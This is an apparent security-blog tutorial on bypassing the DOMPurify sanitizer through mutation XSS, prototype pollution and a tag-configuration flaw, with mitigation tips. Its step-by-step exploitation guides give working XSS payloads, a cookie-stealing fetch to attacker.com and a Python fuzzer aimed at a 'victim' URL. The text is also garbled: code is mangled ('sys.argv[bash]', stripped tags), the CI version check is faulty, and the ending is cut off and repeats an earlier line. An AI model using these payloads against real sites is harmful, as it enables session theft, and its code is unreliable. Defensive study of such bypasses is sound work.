Listen to this Post

Introduction:
In May 2026, software engineer and OSCP-certified security researcher Eric Hollohan solved Intigriti’s monthly XSS challenge (0526), exposing a critical vulnerability in a web application that relied on DOMPurify—one of the most trusted HTML sanitization libraries in the world—to cleanse user input. This achievement highlights an ever-growing trend: even battle-hardened sanitizers can be defeated by mutation-based XSS (mXSS) and prototype pollution attacks, turning what developers consider a “secure” application into a fully exploitable target.
Learning Objectives:
- Understand the technical mechanics of mXSS and prototype pollution bypasses in DOMPurify.
- Learn to identify vulnerable DOMPurify configurations using manual testing and automated scripts.
- Master mitigation strategies, including proper library versioning, CSP hardening, and code review checklists.
You Should Know:
- The Anatomy of a Modern DOMPurify Bypass (mXSS via Re-Contextualization)
Recent disclosures (GHSA-h8r8-wccr-v5f2) revealed that DOMPurify versions from 3.1.3 through 3.3.1 are vulnerable to mutation-XSS (mXSS) via re-contextualization. This technique hinges on the fact that HTML parsing is not a one-time event. When sanitized output is later reinserted into a wrapper like <xmp>, <iframe>, or <noscript>, the browser’s second pass mutates the sanitized markup into executable code.
How It Works: An attacker crafts a payload that appears benign after DOMPurify sanitization but contains a closing tag for the wrapper element (e.g., </xmp>). During the second parse, this tag prematurely closes the wrapper, allowing embedded malicious attributes like `onerror` to become active.
Step‑by‑Step Exploitation Guide:
- Set Up a Local Environment: Create a simple HTML file that includes DOMPurify 3.3.1 and a vulnerable wrapper.
<!DOCTYPE html> <html> <head> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script> </head> <body></li> </ol> <div id="output"></div> <script> // Payload that abuses the <xmp> wrapper const dirtyPayload = `<xmp><img alt="</xmp><img src=x onerror=alert(1)">`; const clean = DOMPurify.sanitize(dirtyPayload); document.getElementById('output').innerHTML = clean; </script> </body> </html>
2. Observe the Mutation: The initial sanitization passes the payload, but once reinserted into
innerHTML, the `` tag closes the wrapper early, activating the `alert(1)` event handler.
3. Scale the Attack: For real-world exploitation, replace `alert(1)` with a callback to an attacker-controlled server:const exfilPayload = <code><xmp><img alt="</xmp><img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)"></code>;Mitigation Commands:
- Check current version (Linux/macOS):
npm list dompurify
- Upgrade to a patched version (3.3.2 or higher):
npm install dompurify@latest
2. Prototype Pollution: The Silent XSS Enabler (CVE-2026-41238)
A more insidious bypass—CVE-2026-41238—affects DOMPurify 3.0.1 through 3.3.3, where prior prototype pollution can force the library to accept arbitrary custom elements and event handlers. Attackers poison `Object.prototype` with permissive regex values, tricking DOMPurify into allowing malicious tags and attributes.
Step‑by‑Step Exploitation Guide:
- Inject a Prototype Pollution Gadget: This often occurs via query parameters, JSON input, or other sinks that merge user-controlled objects.
// Example pollution payload sent to a vulnerable endpoint { "<strong>proto</strong>": { "tagNameCheck": /./, "attributeNameCheck": /./ } } - Craft the XSS Payload: After pollution, submit a standard XSS payload like:
<custom-element onmouseover="alert(1)">Click me</custom-element>
DOMPurify will mistakenly allow it because the regex checks have been overwritten.
- Verify the Bypass: Use browser console to confirm pollution:
console.log({}.tagNameCheck); // Output: /./If the regex accepts all characters, the bypass is active.
Linux/Windows Detection Script:
Create a script to test for prototype pollution susceptibility in Node.js:
// save as pollution-test.js const { execSync } = require('child_process'); const semver = require('semver'); const pkg = require('./package.json'); const version = pkg.dependencies.dompurify; if (semver.satisfies(version, '>=3.0.1 <=3.3.3')) { console.warn('[!] Vulnerable DOMPurify version detected! Upgrade to 3.4.0+'); } else { console.log('[+] DOMPurify version is safe.'); }Run with: `node pollution-test.js`
3. The FORBID_TAGS Asymmetry Bypass (CVE-2026-41240)
In versions prior to 3.4.0, DOMPurify mishandles the interaction between `FORBID_TAGS` and function-based `ADD_TAGS` configurations, allowing forbidden elements—even `script` tags—to survive sanitization.
Step‑by‑Step Exploitation Guide:
- Identify Weak Configurations: Look for implementations where `ADD_TAGS` uses a predicate function.
- Submit a Nested Payload: Since the check for `FORBID_TAGS` is skipped when `EXTRA_ELEMENT_HANDLING.tagCheck` returns true, the following payload may execute:
<script>alert(document.domain)</script>
No obfuscation needed; the library simply fails to block it.
- Validate on Target: If the page renders the script tag without escaping, the XSS is successful.
Remediation (Windows Command Prompt as Admin):
cd C:\path\to\your\project npm update dompurify npm audit fix
4. Building a Custom XSS Detection Fuzzer
To systematically test for these bypasses, security teams can create a custom fuzzer that cycles through known vectors and monitors for JavaScript execution.
Python Fuzzing Script (Linux/macOS):
dompurify_fuzzer.py import requests import sys payloads = [ '<xmp><img alt="</xmp><img src=x onerror=alert(1)">', '<select><button><selectedcontent></selectedcontent></button><option selected=javascript:1><img src=x onerror=alert(1)></option></select>', '<custom-element onmouseover="fetch(\'https://attacker.com\')">Click</custom-element>' ] target_url = sys.argv[bash] if len(sys.argv) > 1 else 'http://localhost:3000/search?q=' for p in payloads: response = requests.get(target_url + requests.utils.quote(p)) if 'alert' in response.text or 'fetch' in response.text: print(f'[!] Potential XSS with payload: {p}') else: print(f'[-] No immediate reflection for: {p}')Run the fuzzer: `python3 dompurify_fuzzer.py http://victim.com/search?q=`
5. Hardening Content Security Policy Against mXSS
Even if DOMPurify is bypassed, a strong CSP can prevent payload execution. However, misconfigurations like `unsafe-inline` or overly broad `script-src` ruin this defense.
Recommended CSP Header:
Content-Security-Policy: default-src 'none'; script-src 'self'; object-src 'none'; base-uri 'self';
Testing CSP Effectiveness (Browser DevTools):
1. Open Developer Tools → Console.
2. Attempt to inject a script dynamically:
var s = document.createElement('script'); s.innerText = 'alert(1)'; document.head.appendChild(s);3. If the CSP blocks it, you’ll see a violation error in the console.
Linux Command to Validate CSP Headers:
curl -I https://example.com | grep -i "content-security-policy"
6. Automating Library Vulnerability Scanning with CI/CD
Integrate DOMPurify version checks directly into your pipeline to catch outdated dependencies before deployment.
GitHub Actions Workflow (`.github/workflows/audit.yml`):
name: Dependency Audit on: [bash] jobs: audit: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Install dependencies run: npm install - name: Run DOMPurify version check run: | VERSION=$(npm list dompurify --depth=0 | grep dompurify | sed 's/.@//') if [[ "$VERSION" < "3.4.0" ]]; then echo "::error::Vulnerable DOMPurify version $VERSION detected. Upgrade to 3.4.0+" exit 1 fi
What Undercode Say:
- Key Takeaway 1: Trusting a sanitization library blindly is a recipe for disaster; layered defenses (CSP + input validation + regular updates) are non-negotiable.
- Key Takeaway 2: Modern XSS is no longer about simple `
- Check current version (Linux/macOS):